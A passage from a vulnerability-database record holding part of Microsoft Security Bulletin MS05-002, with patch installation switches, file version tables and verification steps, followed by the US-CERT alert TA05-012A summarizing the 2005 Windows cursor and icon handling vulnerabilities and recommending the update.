RTMGDR\r\n \r\nUser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:43\r\n 577,024\r\n RTMQFE\r\n \r\nWin32k.sys\r\n 5.2.3790.244\r\n 28-Dec-2004\r\n 23:27\r\n 1,815,040\r\n RTMQFE\r\n \r\n\r\nWindows Server 2003 64-Bit Enterprise Edition and Windows Server 2003 64-Bit Datacenter Edition:\r\n\r\nFile Name Version Date Time Size CPU Folder \r\nUser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:18\r\n 1,375,232\r\n IA-64\r\n RTMGDR\r\n \r\nWin32k.sys\r\n 5.2.3790.244\r\n 28-Dec-2004\r\n 22:30\r\n 4,953,088\r\n IA-64\r\n RTMGDR\r\n \r\nWuser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:22\r\n 568,320\r\n x86\r\n RTMGDR\WOW\r\n \r\nUser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:44\r\n 1,376,256\r\n IA-64\r\n RTMQFE\r\n \r\nWin32k.sys\r\n 5.2.3790.244\r\n 28-Dec-2004\r\n 22:30\r\n 4,958,720\r\n IA-64\r\n RTMQFE\r\n \r\nWuser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:42\r\n 568,832\r\n x86\r\n RTMQFE\WOW\r\n \r\n\r\nNote When you install this security update on Windows Server 2003 or on Windows XP 64-Bit Edition Version 2003, the installer checks to see if any of the files that are being updated on your system have previously been updated by a Microsoft hotfix. If you have previously installed a hotfix to update one of these files, the installer copies the RTMQFE files to your system. Otherwise, the installer copies the RTMGDR files to your system. For more information, see Microsoft Knowledge Base Article 824994.\r\n\r\nVerifying Update Installation \r\n\r\n\u2022 Microsoft Baseline Security Analyzer\r\n\r\nTo verify that a security update is installed on an affected system, you may be able to use the Microsoft Baseline Security Analyzer (MBSA) tool. This tool allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n \r\n\u2022 File Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n Click Start, and then click Search.\r\n \r\n2.\r\n In the Search Results pane, click All files and folders under Search Companion.\r\n \r\n3.\r\n In the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n \r\n4.\r\n In the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n \r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n1.\r\n On the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n \r\n\r\nNote Attributes other than file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying the update installation. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n \r\n\u2022 Registry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry keys.\r\n\r\nHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows Server 2003\SP1\KB891711\Filelist\r\n\r\nNote This registry key may not contain a complete list of installed files. Also, this registry key may not be created correctly if an administrator or an OEM integrates or slipstreams the 891711 security update into the Windows installation source files.\r\n \r\n\r\nTop of section\r\n Windows XP (all versions) \r\n\r\nNote For Windows XP 64-Bit Edition Version 2003, this security update is the same as the Windows Server 2003 64-Bit Edition security update.\r\n\r\nPrerequisites\r\nThis security update requires the release version Windows XP Service Pack 1 (SP1). For more information, see Microsoft Knowledge Base Article 322389.\r\n\r\nInclusion in Future Service Packs:\r\nThe update for this issue is included in Windows XP Service Pack 2.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches:\r\n\r\n /help Displays the command-line options\r\n\r\nSetup Modes\r\n\r\n /quiet Quiet mode (no user interaction or display)\r\n\r\n /passive Unattended mode (progress bar only)\r\n\r\n /uninstall Uninstalls the package\r\n\r\nRestart Options \r\n\r\n /norestart Do not restart when installation has completed\r\n\r\n /forcerestart Restart after installation\r\n\r\nSpecial Options \r\n\r\n /l Lists installed Windows hotfixes or update packages\r\n\r\n /o Overwrite OEM files without prompting\r\n\r\n /n Do not backup files needed for uninstall\r\n\r\n /f Force other programs to close when the computer shuts down\r\n\r\n /integrate:path Integrates the update into the Windows source files located at the path specified.\r\n\r\n /extract Extracts files without starting the Setup program\r\n\r\nNote You can combine these switches into one command. For backward compatibility, the security update also supports the setup switches that the earlier version of the Setup program uses. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841. For more information about the Update.exe installer, visit the Microsoft TechNet Web site.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Windows XP:\r\n\r\nWindowsxp-kb891711-x86-enu /passive /quiet\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows XP:\r\n\r\nWindowsxp-kb891711-x86-enu /norestart\r\n\r\nFor more information about how to deploy this security update with Software Update Services, visit the Software Update Services Web site.\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this security update, use the Add or Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Spuninst.exe utility to remove this security update. The Spuninst.exe utility is located in the %Windir%\$NTUninstallKB891711$\Spuninst folder. The Spuninst.exe utility supports the following setup switches:\r\n\r\n /help Displays the command line options\r\n\r\nSetup Modes\r\n\r\n /quiet Quiet mode (no user interaction or display)\r\n\r\n /passive Unattended mode (progress bar only)\r\n\r\nRestart Options \r\n\r\n /norestart Do not restart when installation is complete\r\n\r\n /forcerestart Restart after installation\r\n\r\nSpecial Options \r\n\r\n /f Force other programs to close when the computer shuts down\r\n\r\nFile Information\r\n\r\nThe English version of this update has the file attributes (or later) that are listed in the following table. The dates and times for these files are listed in coordinated universal time (UTC). When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nWindows XP Home Edition Service Pack 1, Windows XP Professional Service Pack 1, Windows XP Tablet PC Edition, Windows XP Media Center Edition, Windows XP Tablet PC Edition 2005, and Windows XP Media Center Edition 2005:\r\n\r\nFile Name Version Date Time Size Folder \r\nUser32.dll\r\n 5.1.2600.1617\r\n 29-Dec-2004\r\n 01:31\r\n 574,464\r\n SP1QFE\r\n \r\nWin32k.sys\r\n 5.1.2600.1581\r\n 05-Aug-2004\r\n 18:15\r\n 1,845,888\r\n SP1QFE\r\n \r\n\r\nWindows XP 64-Bit Edition Service Pack 1:\r\n\r\nFile Name Version Date Time Size CPU Folder \r\nUser32.dll\r\n 5.1.2600.1617\r\n 29-Dec-2004\r\n 01:31\r\n 1,485,312\r\n IA-64\r\n SP1QFE\r\n \r\nWin32k.sys\r\n 5.1.2600.1581\r\n 05-Aug-2004\r\n 17:27\r\n 5,629,952\r\n IA-64\r\n SP1QFE\r\n \r\nWuser32.dll\r\n 5.1.2600.1617\r\n 29-Dec-2004\r\n 01:31\r\n 557,056\r\n x86\r\n SP1QFE\WOW\r\n \r\n\r\nWindows XP 64-Bit Edition Version 2003:\r\n\r\nFile Name Version Date Time Size CPU Folder \r\nUser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:18\r\n 1,375,232\r\n IA-64\r\n RTMGDR\r\n \r\nWin32k.sys\r\n 5.2.3790.244\r\n 28-Dec-2004\r\n 22:30\r\n 4,953,088\r\n IA-64\r\n RTMGDR\r\n \r\nWuser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:22\r\n 568,320\r\n x86\r\n RTMGDR\WOW\r\n \r\nUser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:44\r\n 1,376,256\r\n IA-64\r\n RTMQFE\r\n \r\nWin32k.sys\r\n 5.2.3790.244\r\n 28-Dec-2004\r\n 22:30\r\n 4,958,720\r\n IA-64\r\n RTMQFE\r\n \r\nWuser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:42\r\n 568,832\r\n x86\r\n RTMQFE\WOW\r\n \r\n\r\nVerifying Update Installation \r\n\r\n\u2022 Microsoft Baseline Security Analyzer\r\n\r\nTo verify that a security update is installed on an affected system, you may be able to use the Microsoft Baseline Security Analyzer (MBSA) tool. This tool allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n \r\n\u2022 File Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n Click Start, and then click Search.\r\n \r\n2.\r\n In the Search Results pane, click All files and folders under Search Companion.\r\n \r\n3.\r\n In the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n \r\n4.\r\n In the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n \r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n1.\r\n On the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n \r\n\r\nNote Attributes other than file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying the update installation. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n \r\n\u2022 Registry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry keys.\r\n\r\nFor Windows XP Home Edition Service Pack 1, Windows XP Professional Service Pack 1, Windows XP Tablet PC Edition, Windows XP Media Center Edition, Windows XP Tablet PC Edition 2005, and Windows XP Media Center Edition 2005:\r\n\r\nHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP\SP2\KB891711\Filelist\r\n\r\nFor Windows XP 64-Bit Edition Version 2003:\r\n\r\nHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows Server 2003\SP1\KB891711\Filelist\r\n\r\nNote These registry keys may not contain a complete list of installed files. Also, these registry keys may not be created correctly if an administrator or an OEM integrates or slipstreams the 891711 security update into the Windows installation source files.\r\n \r\n\r\nTop of section\r\n Windows 2000 (all versions) \r\n\r\nPrerequisites\r\nFor Windows 2000, this security update requires Service Pack 3 (SP3) or Service Pack 4 (SP4).\r\n\r\nThe software that is listed has been tested to determine if the versions are affected. Other versions either no longer include security update support or may not be affected. To determine the support lifecycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\n\r\nFor more information about how to obtain the latest service pack, see Microsoft Knowledge Base Article 260910.\r\n\r\nInclusion in Future Service Packs:\r\nThe update for this issue will be included in a future Update Rollup.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches:\r\n\r\n /help Displays the command-line options\r\n\r\nSetup Modes\r\n\r\n /quiet Quiet mode (no user interaction or display)\r\n\r\n /passive Unattended mode (progress bar only)\r\n\r\n /uninstall Uninstalls the package\r\n\r\nRestart Options \r\n\r\n /norestart Do not restart when installation has completed\r\n\r\n /forcerestart Restart after installation\r\n\r\nSpecial Options \r\n\r\n /l Lists installed Windows hotfixes or update packages\r\n\r\n /o Overwrite OEM files without prompting\r\n\r\n /n Do not backup files needed for uninstall\r\n\r\n /f Force other programs to close when the computer shuts down\r\n\r\n /integrate:path Integrates the update into the Windows source files located at the path specified.\r\n\r\n /extract Extracts files without starting the Setup program\r\n\r\nNote You can combine these switches into one command. For backward compatibility, the security update also supports the setup switches that the previous version of the setup utility uses. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Windows 2000 Service Pack 3 and Windows 2000 Service Pack 4:\r\n\r\nWindows2000-kb891711-x86-enu /passive /quiet\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows 2000 Service Pack 3 and Windows 2000 Service Pack 4:\r\n\r\nWindows2000-kb891711-x86-enu /norestart\r\n\r\nFor more information about how to deploy this security update with Software Update Services, visit the Software Update Services Web site.\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this security update, use the Add or Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Spuninst.exe utility to remove this security update. The Spuninst.exe utility is located in the %Windir%\$NTUninstallKB891711$\Spuninst folder. The Spuninst.exe utility supports the following setup switches:\r\n\r\n /help Displays the command line options\r\n\r\nSetup Modes\r\n\r\n /quiet Quiet mode (no user interaction or display)\r\n\r\n /passive Unattended mode (progress bar only)\r\n\r\nRestart Options \r\n\r\n /norestart Do not restart when installation is complete\r\n\r\n /forcerestart Restart after installation\r\n\r\nSpecial Options \r\n\r\n /f Force other programs to close when the computer shuts down\r\n\r\nFile Information\r\n\r\nThe English version of this update has the file attributes (or later) that are listed in the following table. The dates and times for these files are listed in coordinated universal time (UTC). When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nNote Date, time, file name, or size information could change during installation. See the Verifying Update Installation section for details about how to verify an installation.\r\n\r\nWindows 2000 Service Pack 3 and Windows 2000 Service Pack 4:\r\n\r\nFile Name Version Date Time Size Folder \r\nBasesrv.dll\r\n 5.0.2195.6951\r\n 17-Jun-2004\r\n 23:05\r\n 46,352\r\n \r\n \r\nCmd.exe\r\n 5.0.2195.6824\r\n 21-Sep-2003\r\n 00:45\r\n 236,304\r\n \r\n \r\nGdi32.dll\r\n 5.0.2195.6945\r\n 17-Jun-2004\r\n 23:05\r\n 231,184\r\n \r\n \r\nKernel32.dll\r\n 5.0.2195.6946\r\n 17-Jun-2004\r\n 23:05\r\n 712,464\r\n \r\n \r\nMf3216.dll\r\n 5.0.2195.6898\r\n 24-Mar-2004\r\n 02:17\r\n 37,136\r\n \r\n \r\nMpr.dll\r\n 5.0.2195.6824\r\n 24-Mar-2004\r\n 02:17\r\n 54,544\r\n \r\n \r\nMsgina.dll\r\n 5.0.2195.6928\r\n 17-Jun-2004\r\n 23:05\r\n 335,120\r\n \r\n \r\nRdpwd.sys\r\n 5.0.2195.6892\r\n 24-Mar-2004\r\n 02:17\r\n 90,264\r\n \r\n \r\nSp3res.dll\r\n 5.0.2195.7004\r\n 02-Dec-2004\r\n 14:27\r\n 6,272,512\r\n \r\n \r\nUser32.dll\r\n 5.0.2195.7017\r\n 29-Dec-2004\r\n 09:14\r\n 380,688\r\n \r\n \r\nUserenv.dll\r\n 5.0.2195.6794\r\n 05-Aug-2003\r\n 22:14\r\n 385,808\r\n \r\n \r\nWin32k.sys\r\n 5.0.2195.7013\r\n 24-Dec-2004\r\n 17:23\r\n 1,633,616\r\n \r\n \r\nWinlogon.exe\r\n 5.0.2195.6970\r\n 24-Aug-2004\r\n 22:59\r\n 182,544\r\n \r\n \r\nWinsrv.dll\r\n 5.0.2195.6946\r\n 17-Jun-2004\r\n 23:05\r\n 244,496\r\n \r\n \r\nKernel32.dll\r\n 5.0.2195.6946\r\n 17-Jun-2004\r\n 23:05\r\n 712,464\r\n UNIPROC\r\n \r\nWin32k.sys\r\n 5.0.2195.7013\r\n 24-Dec-2004\r\n 17:23\r\n 1,633,616\r\n UNIPROC\r\n \r\nWinsrv.dll\r\n 5.0.2195.6946\r\n 17-Jun-2004\r\n 23:05\r\n 244,496\r\n UNIPROC\r\n \r\n\r\nVerifying Update Installation \r\n\r\n\u2022 Microsoft Baseline Security Analyzer\r\n\r\nTo verify that a security update is installed on an affected system, you may be able to use the Microsoft Baseline Security Analyzer (MBSA) tool. This tool allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n \r\n\u2022 File Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n Click Start, and then click Search.\r\n \r\n2.\r\n In the Search Results pane, click All files and folders under Search Companion.\r\n \r\n3.\r\n In the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n \r\n4.\r\n In the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n \r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n1.\r\n On the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n \r\n\r\nNote Attributes other than file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying the update installation. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n \r\n\u2022 Registry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry key:\r\n\r\nHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows 2000\SP5\KB891711\Filelist\r\n\r\nNote This registry key may not contain a complete list of installed files. Also, this registry key may not be created correctly when an administrator or an OEM integrates or slipstreams the 891711 security update into the Windows installation source files.\r\n \r\n\r\nTop of section\r\n Windows NT 4.0 (all versions) \r\n\r\nPrerequisites\r\nThis security update requires Windows NT Server 4.0 Service Pack 6a (SP6a) or Windows NT Server 4.0 Terminal Server Edition Service Pack 6 (SP6).\r\n\r\nThe software that is listed has been tested to determine if the versions are affected. Other versions either no longer include security update support or may not be affected. To determine the support lifecycle for your product and version, visit the following Microsoft Support Lifecycle Web site.\r\n\r\nFor more information about obtaining the latest service pack, see Microsoft Knowledge Base Article 152734.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches:\r\n\r\n /y: Perform removal (only with /m or /q )\r\n\r\n /f: Force programs to quit during the shutdown process\r\n\r\n /n: Do not create an Uninstall folder\r\n\r\n /z: Do not restart when the update completes\r\n\r\n /q: Use Quiet or Unattended mode with no user interface (this switch is a superset of /m )\r\n\r\n /m: Use Unattended mode with a user interface\r\n\r\n /l: List the installed hotfixes\r\n\r\n /x: Extract the files without running Setup\r\n\r\nNote You can combine these switches into one command. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841. For more information about the terminology that appears in this bulletin, such as hotfix, see Microsoft Knowledge Base Article 824684.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Windows NT Server 4.0:\r\n\r\nWindowsnt4server-kb891711-x86-enu /q\r\n\r\nFor Windows NT Server 4.0 Terminal Server Edition:\r\n\r\nWindowsnt4terminalserver-kb891711-x86-enu /q\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows NT Server 4.0:\r\n\r\nWindowsnt4server-kb891711-x86-enu /z\r\n\r\nFor Windows NT Server 4.0 Terminal Server Edition:\r\n\r\nWindowsnt4terminalserver-kb891711-x86-enu /z\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this security update, use the Add/Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Hotfix.exe utility to remove this security update. The Hotfix.exe utility is located in the %Windir%\$NTUninstallKB891711$ folder. The Hotfix.exe utility supports the following setup switches:\r\n\r\n/y: Perform removal (only with the /m or /q switch)\r\n\r\n/f: Force programs to quit during the shutdown process\r\n\r\n/n: Do not create an Uninstall folder\r\n\r\n/z: Do not restart when the installation is complete\r\n\r\n/q: Use Quiet or Unattended mode with no user interface (this switch is a superset of the /m switch)\r\n\r\n/m: Use Unattended mode with a user interface\r\n\r\n/l: List the installed hotfixes\r\n\r\nFile Information\r\n\r\nThe English version of this update has the file attributes (or later) that are listed in the following table. The dates and times for these files are listed in coordinated universal time (UTC). When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nNote Date, time, file name, or size information could change during installation. See the Verifying Update Installation section for details about how to verify an installation.\r\n\r\nWindows NT Server 4.0:\r\n\r\nFile Name Version Date Time Size \r\nGdi32.dll\r\n 4.0.1381.7270\r\n 29-Dec-2004\r\n 06:01\r\n 206,096\r\n \r\nMf3216.dll\r\n 4.0.1381.7263\r\n 15-Oct-2004\r\n 13:38\r\n 40,720\r\n \r\nUser32.dll\r\n 4.0.1381.7342\r\n 29-Dec-2004\r\n 06:02\r\n 328,464\r\n \r\nWin32k.sys\r\n 4.0.1381.7340\r\n 25-Dec-2004\r\n 19:42\r\n 1,255,568\r\n \r\nWinsrv.dll\r\n 4.0.1381.7260\r\n 29-Dec-2004\r\n 06:02\r\n 174,864\r\n \r\n\r\nWindows NT Server 4.0 Terminal Server Edition:\r\n\r\nFile Name Version Date Time Size \r\nGdi32.dll\r\n 4.0.1381.33566\r\n 29-Dec-2004\r\n 06:11\r\n 206,096\r\n \r\nMf3216.dll\r\n 4.0.1381.33562\r\n 20-May-2004\r\n 18:23\r\n 40,208\r\n \r\nUser32.dll\r\n 4.0.1381.33630\r\n 29-Dec-2004\r\n 06:11\r\n 333,072\r\n \r\nWin32k.sys\r\n 4.0.1381.33629\r\n 27-Dec-2004\r\n 04:07\r\n 1,281,008\r\n \r\nWinsrv.dll\r\n 4.0.1381.33559\r\n 29-Dec-2004\r\n 06:11\r\n 196,368\r\n \r\n\r\nVerifying Update Installation \r\n\r\n\u2022 Microsoft Baseline Security Analyzer\r\n\r\nTo verify that a security update is installed on an affected system, you may be able to use the Microsoft Baseline Security Analyzer (MBSA) tool. This tool allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n \r\n\u2022 File Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n Click Start, and then click Search.\r\n \r\n2.\r\n In the Search Results pane, click All files and folders under Search Companion.\r\n \r\n3.\r\n In the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n \r\n4.\r\n In the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n \r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n1.\r\n On the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n \r\n\r\nNote Attributes other than file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying the update installation. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n \r\n\u2022 Registry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry key:\r\n\r\nHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\KB891711\File 1\r\n\r\nNote This registry key may not contain a complete list of installed files. Also, this registry key may not be created correctly when an administrator or an OEM integrates or slipstreams the 891711 security update into the Windows installation source files.\r\n \r\n\r\nTop of section\r\nTop of section\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\r\n\u2022 eEye for reporting the Cursor and Icon Format Handling Vulnerability (CAN-2004-1049).\r\n \r\n\r\nObtaining Other Security Updates:\r\n\r\nUpdates for other security issues are available from the following locations:\r\n\r\n\u2022 Security updates are available from the Microsoft Download Center. You can find them most easily by doing a keyword search for "security_patch."\r\n \r\n\u2022 Updates for consumer platforms are available from the Windows Update Web site.\r\n \r\n\r\nSupport: \r\n\r\n\u2022 Customers in the U.S. and Canada can receive technical support from Microsoft Product Support Services at 1-866-PCSAFETY. There is no charge for support calls that are associated with security updates.\r\n \r\n\u2022 International customers can receive support from their local Microsoft subsidiaries. There is no charge for support that is associated with security updates. For more information about how to contact Microsoft for support issues, visit the International Support Web site.\r\n \r\n\r\nSecurity Resources: \r\n\r\n\u2022 The Microsoft TechNet Security Web site provides additional information about security in Microsoft products.\r\n \r\n\u2022 Microsoft Software Update Services\r\n \r\n\u2022 Microsoft Baseline Security Analyzer (MBSA)\r\n \r\n\u2022 Windows Update \r\n \r\n\u2022 Windows Update Catalog: For more information about the Windows Update Catalog, see Microsoft Knowledge Base Article 323166.\r\n \r\n\u2022 Office Update \r\n \r\n\r\nSoftware Update Services:\r\n\r\nBy using Microsoft Software Update Services (SUS), administrators can quickly and reliably deploy the latest critical updates and security updates to Windows 2000 and Windows Server 2003-based servers, and to desktop systems that are running Windows 2000 Professional or Windows XP Professional.\r\n\r\nFor more information about how to deploy this security update with Software Update Services, visit the Software Update Services Web site.\r\n\r\nSystems Management Server:\r\n\r\nMicrosoft Systems Management Server (SMS) delivers a highly-configurable enterprise solution for managing updates. By using SMS, administrators can identify Windows-based systems that require security updates and to perform controlled deployment of these updates throughout the enterprise with minimal disruption to end users. For more information about how administrators can use SMS 2003 to deploy security updates, visit the SMS 2003 Security Patch Management Web site. SMS 2.0 users can also use Software Updates Service Feature Pack to help deploy security updates. For information about SMS, visit the SMS Web site.\r\n\r\nNote SMS uses the Microsoft Baseline Security Analyzer and the Microsoft Office Detection Tool to provide broad support for security bulletin update detection and deployment. Some software updates may not be detected by these tools. Administrators can use the inventory capabilities of the SMS in these cases to target updates to specific systems. For more information about this procedure, see the following Web site. Some security updates require administrative rights following a restart of the system. Administrators can use the Elevated Rights Deployment Tool (available in the SMS 2003 Administration Feature Pack and in the SMS 2.0 Administration Feature Pack) to install these updates.\r\n\r\nDisclaimer: \r\n\r\nThe information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions: \r\n\r\n\u2022 V1.0 (January 11, 2005): Bulletin published\r\n \r\n", "edition": 1, "modified": "2005-01-13T00:00:00", "published": "2005-01-13T00:00:00", "id": "SECURITYVULNS:DOC:7554", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:7554", "title": "Microsoft Security Bulletin MS05-002 Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution (891711)", "type": "securityvulns", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:11", "bulletinFamily": "software", "cvelist": ["CVE-2004-1305", "CVE-2004-1049"], "description": "\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n Technical Cyber Security Alert TA05-012A\r\nMultiple Vulnerabilities in Microsoft Windows Icon and Cursor Processing\r\n\r\n Original release date: January 12, 2005\r\n Last revised: --\r\n Source: US-CERT\r\n\r\nSystems Affected\r\n\r\n Microsoft Windows Operating Systems excluding Microsoft Windows XP SP2\r\n\r\nOverview\r\n\r\n Microsoft Windows contains multiple vulnerabilities in the way that it\r\n handles cursor and icon files. A remote attacker could execute\r\n arbitrary code or cause a denial-of-service condition.\r\n\r\nI. Description\r\n\r\n Microsoft Security Bulletin MS05-002 describes a number of\r\n vulnerabilities in the way that Windows handles icons, cursors,\r\n animated cursors, and bitmaps. Further details are available in the\r\n following vulnerability notes:\r\n\r\n VU#625856 - Microsoft Windows LoadImage API vulnerable to integer\r\n overflow\r\n\r\n The Microsoft Windows LoadImage routine is vulnerable to an integer\r\n overflow that may allow a remote attacker to execute arbitrary code on\r\n a vulnerable system.\r\n (CAN-2004-1049)\r\n\r\n VU#697136 - Microsoft Windows kernel vulnerable to denial-of-service\r\n condition via animated cursor (.ani) rate number\r\n\r\n A vulnerability exists in the way the Microsoft Windows kernel\r\n processes animated cursor (.ani) files with a rate number set to zero.\r\n Exploitation of this vulnerability may allow a remote attacker to\r\n cause a denial-of-service condition.\r\n (CAN-2004-1305)\r\n\r\n VU#177584 - Microsoft Windows kernel vulnerable to denial-of-service\r\n condition via animated cursor (.ani) frame number\r\n\r\n A vulnerability exists in the way the Microsoft Windows kernel\r\n processes animated cursor (.ani) files with a frame number set to\r\n zero. Exploitation of this vulnerability may allow a remote attacker\r\n to cause a denial-of-service condition.\r\n (CAN-2004-1305)\r\n\r\n Note that exploits for these vulnerabilities are publicly available.\r\n\r\nII. Impact\r\n\r\n If a remote attacker can persuade a user to access a specially crafted\r\n bitmap image, icon, or cursor file, the attacker may be able to\r\n execute arbitrary code on that user's system, with their privileges.\r\n Potentially, any operation that displays an image could trigger\r\n exploitation; for instance, browsing the file system, reading HTML\r\n email, or browsing websites.\r\n\r\nIII. Solution\r\n\r\nInstall an Update\r\n\r\n Install the update as described in Microsoft Security Bulletin\r\n MS05-002. Please also note that this update is also available via\r\n Windows Update and Automatic Updates.\r\n\r\nAppendix A. References\r\n\r\n * US-CERT Vulnerability Note VU#697136 -\r\n <http://www.kb.cert.org/vuls/id/697136>\r\n * US-CERT Vulnerability Note VU#177584 -\r\n <http://www.kb.cert.org/vuls/id/177584>\r\n * US-CERT Vulnerability Note VU#625856 -\r\n <http://www.kb.cert.org/vuls/id/625856>\r\n * Microsoft Security Bulletin MS05-002 -\r\n <http://www.microsoft.com/technet/security/bulletin/ms05-002.mspx>\r\n _________________________________________________________________\r\n\r\n These vulnerabilities were reported by Flashsky Fangxing and eEye\r\n Digital Security.\r\n _________________________________________________________________\r\n\r\n Feedback can be directed to the author: Jeffrey Gennari\r\n _________________________________________________________________\r\n\r\n This document is available from:\r\n\r\n <http://www.us-cert.gov/cas/techalerts/TA05-012A.html>\r\n\r\n _________________________________________________________________\r\n\r\n Copyright 2005 Carnegie Mellon University. Terms of use\r\n\r\n Revision History\r\n\r\n Jan 12, 2005: Initial release\r\n\r\n Last updated January 12, 2005 \r\n \r\n \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.2.1 